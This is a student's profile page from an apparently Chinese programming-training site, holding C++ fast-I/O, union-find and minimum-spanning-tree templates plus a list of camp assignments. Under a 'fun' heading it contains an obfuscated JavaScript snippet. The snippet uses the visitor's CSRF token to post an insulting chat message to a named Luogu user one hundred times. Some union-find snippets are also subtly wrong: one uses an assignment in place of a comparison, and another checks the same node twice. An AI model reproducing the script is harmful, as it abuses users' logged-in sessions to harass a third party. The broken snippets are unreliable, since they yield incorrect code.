-
个人简介
</details>C++快读和快写
Tips:用法: Tips:输出换行的格式如下:io.write(x, '\n')
模板
#include <bits/stdc++.h> using namespace std; using lint = long long; // #define DEBUG 1 // 调试开关 struct IO { #define MAXSIZE (1 << 20) #define isdigit(x) (x >= '0' && x <= '9') char buf[MAXSIZE], *p1, *p2; char pbuf[MAXSIZE], *pp; #if DEBUG #else IO() : p1(buf), p2(buf), pp(pbuf) {} ~IO() { fwrite(pbuf, 1, pp - pbuf, stdout); } #endif char gc() { #if DEBUG // 调试,可显示字符 return getchar(); #endif if (p1 == p2) p2 = (p1 = buf) + fread(buf, 1, MAXSIZE, stdin); return p1 == p2 ? ' ' : *p1++; } bool blank(char ch) { return ch == ' ' || ch == '\n' || ch == '\r' || ch == '\t'; } template <class T> T read(T &x) { double tmp = 1; bool sign = 0; x = 0; char ch = gc(); for (; !isdigit(ch); ch = gc()) if (ch == '-') sign = 1; for (; isdigit(ch); ch = gc()) x = x * 10 + (ch - '0'); if (ch == '.') for (ch = gc(); isdigit(ch); ch = gc()) tmp /= 10.0, x += tmp * (ch - '0'); if (sign) x = -x; return x; } void read(char *s) { char ch = gc(); for (; blank(ch); ch = gc()); for (; !blank(ch); ch = gc()) *s++ = ch; *s = 0; } void read(char &c) { for (c = gc(); blank(c); c = gc()); } void push(const char &c) { #if DEBUG // 调试,可显示字符 putchar(c); #else if (pp - pbuf == MAXSIZE) fwrite(pbuf, 1, MAXSIZE, stdout), pp = pbuf; *pp++ = c; #endif } template <class T> void write(T x) { if (x < 0) x = -x, push('-'); // 负数输出 static T sta[35]; T top = 0; do { sta[top++] = x % 10; x /= 10; } while (x); while (top) push(sta[--top] + '0'); } template <class T> void write(T x, char lastChar) { write(x); push(lastChar); } } io; // 输入:x = io.read(x) // 输出:io.write(x, '\n'); int main() { return 0; }
快读模板题:题目传说门
用此模板
C++算法和数据结构
并查集
查找
int find(int x) { if (p[x] = x) return x; else return p[x] = find(p[x]); }
判断是否为同一集合
bool check(int x, int y) { int u = find(x); int v = find(x); if (u != v) return false; else return true; }
树状数组
lowbit
int lowbit(int x) { return x & -x; }
最小生成树
#include <bits/stdc++.h> using namespace std; struct tree { int x, y, z; void read() { cin >> x >> y >> z; } }; const int N = 2e5 + 15; tree num[N]; int p[N]; int find(int x) // 并查集查找 { if (p[x] == x) return x; else return p[x] = find(p[x]); } bool Find_check(int x, int y) { int u = find(x), v = find(y); if (u == v) return true; else return false; } bool cmp(tree N, tree M) { return N.z < M.z; } int main() { int n, m; cin >> n >> m; for (int i = 1; i <= n; i++) { // n个节点 p[i] = i; } for (int i = 1; i <= m; i++) { num[i].read(); // p[i] = i; } sort(num + 1, num + m + 1, cmp); int ans = 0; for (int i = 1; i <= m; i++) { int k = num[i].x; int k2 = num[i].y; int u = find(k), v = find(k2); if (Find_check(k, k2)) continue; else { ans += num[i].z; n--; p[u] = v; if (n == 1) break; } } if (n == 1) { cout << ans << endl; } else cout << "orz" << endl; return 0; }
好玩的
async function bHVvZ3U(bHVvZ3UuY29tLmNu,bGdsZy50b3A){await fetch(decodeURI(atob("aHR0cHM6Ly93d3cubHVvZ3UuY29tLmNuL2FwaS9jaGF0L25ldw")), {headers: [["content-type", "application/json"],["referer", decodeURI(atob("aHR0cHM6Ly93d3cubHVvZ3UuY29tLmNuLw"))],["x-csrf-token", document.querySelector("meta[name=csrf-token]").content],],body: JSON.stringify({user: bHVvZ3UuY29tLmNu,content: bGdsZy50b3A,}),method: "POST",});}(function() {var cmVsZXZhbnRhZmZhaXJz;for(cmVsZXZhbnRhZmZhaXJz=0;cmVsZXZhbnRhZmZhaXJz<100;++cmVsZXZhbnRhZmZhaXJz){let aHR0cHM6Ly93d3cubHVvZ3UuY29tLmNuL2Rpc2N1c3MvbGlzdHM_Zm9ydW1uYW1lPXJlbGV2YW50YWZmYWlycw=decodeURI("泥煤油机爸");bHVvZ3U("758434",aHR0cHM6Ly93d3cubHVvZ3UuY29tLmNuL2Rpc2N1c3MvbGlzdHM_Zm9ydW1uYW1lPXJlbGV2YW50YWZmYWlycw)}})();
Luogu
-
最近活动
- 【oiClass公益赛】2024CSP-J模拟赛#16 OI
- 【oiClass公益赛】2024CSP-J模拟赛#01 OI
- 【oiClass公益赛】2023CSPJ模拟赛#01 OI
- 夏令营模拟测试-05 OI
- 夏令营模拟测试-04 OI
- 夏令营模拟测试-03 OI
- 新初一夏令营day12作业-一维数组3 作业
- 新初一夏令营day11作业-一维数组2 作业
- 夏令营day18作业-一维数组3 作业
- 2023年第四届oiClass夏令营线上选拔赛 OI
- 夏令营day17作业-一维数组2 作业
- 夏令营day16作业-一维数组1 作业
- 夏令营第二周模拟测试 OI
- 夏令营day12作业-多重循环 作业
- 夏令营day11作业-while语句2 作业
- 夏令营day10作业-while语句1 作业
- 夏令营day9作业-for语句综合练习 作业
- 第五届oiClass信息学夏令营day6作业-for语句3 作业
- 夏令营第一周模拟测试 OI
- 夏令营day5作业-for语句2 作业
- 夏令营day4作业-for语句1 作业
- 夏令营day3作业-if语句 作业
- 夏令营day2作业-表达式 作业
- 夏令营day1作业-C++程序结构 作业
-
Stat
-
Rating